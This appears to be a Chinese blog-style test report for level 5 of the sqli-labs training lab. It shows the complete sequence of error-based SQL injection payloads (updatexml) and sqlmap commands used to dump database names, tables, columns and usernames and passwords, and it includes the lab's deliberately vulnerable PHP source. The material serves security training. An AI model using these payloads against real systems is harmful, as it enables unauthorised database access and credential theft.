sql-labs靶场第五关测试报告

news2024/11/24 19:11:17

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①Order by判断列数

②寻找注入方式

③爆库，查看数据库名称

④爆表，查看security库的所有表

⑤爆列，查看users表的所有列

⑥成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论

一、测试环境

1、系统环境

渗透机：本机(127.0.0.1)

靶机：本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件，版本：2.3.1；

测试网址：http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/

二、测试目的

测试get型的sql注入，报错注入出数据库中的用户名和密码；

使用sqlmap爆破，熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

根据提示，将id作为参数，值为数字

输入id之后，页面回显 You are in...........

测试符号

给数字加个引号 ‘ ，回显报错，存在sql注入，注入点在url的id值

字符型注入

添加1=1判断，回显又正常，那么闭合符为 ‘

?id=1' and 1=1 --+

尝试1=2判断，没有回显

?id=1' and 1=2 --+

2、注入数据库

①Order by判断列数

这关的payload闭合符号为 ‘

传入id值，先用order by 查看列数，可见数据库表共三列，查看第四列报错，是有报错信息的

?id=1' order by 3 --+

?id=1' order by 4 --+

②寻找注入方式

使用联合查询注入，发现没有回显的地方

?id=1' union select 1,2,3 --+

有报错信息，尝试报错注入，有结果显示

?id=1'and updatexml(1,concat(0x7e,1213124,0x7e),1) --+

③爆库，查看数据库名称

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

Database()函数返回当前数据库

④爆表，查看security库的所有表

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from
information_schema.tables where table_schema=database()),1,31),0x7e),1) --+

使用inforamtion_schema数据库的tables方法查看本数据库的所有表

⑤爆列，查看users表的所有列

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from
information_schema.columns where table_name='users' and
table_schema=database()),1,31),0x7e),1) --+

依旧是inforamtion_schema数据库，使用columns方法查看对应数据表的所有列

⑥成功获取用户名和密码信息

爆字段值，查看username和password字段的所有信息

?id=1' and updatexml(1,concat(0x7e,substr((select
group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) --+

可以爆破出用户名和密码信息，更改updatexml函数的第二个参数，起始显示位置，将后面的数据显示

Updatexml函数一次性最大显示31个字符

3、sqlmap注入方法

①爆库

Sqlmap方法只需要把url的less-1改为5就可以了，结果都是一样的

Sqlmap稳定发挥，yyds

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1 –dbs

使用python程序

-u 指定url

--dbs 是爆库的参数

②爆表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security –tables

-D 指定数据库，在这个数据库里找数据表

--tables 爆表的参数

③爆列

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security -T users –columns

-D 指定数据库

-T 指定数据表

--columns 爆破列名的参数

④爆字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security -T users -C username,password --dump

-D 指定数据库

-T 指定数据表

-C 指定需要爆破的列名

--dump 爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font size="5" color="#FFFF00">'; 
    echo 'You are in...........';
    echo "<br>";
        echo "</font>";
    }
    else 
    {
    
    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    
    
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>

1.error_reporting(0);函数，关闭了php代码的所有错误报告。

2.获取的id值，直接写入了日志记录文件，同时也直接应用在sql语句中，没有任何过滤。

3.这里语句正确只会回显“you are in ….”，语句错误会输出mysql_error函数，利用报错输出的特点进行注入。

4.Sql语句只取一行，注入时会把注释掉。

5.页面输出内容，利用updatexml函数的特点可以拼接sql语句进行注入，回显出数据库内容。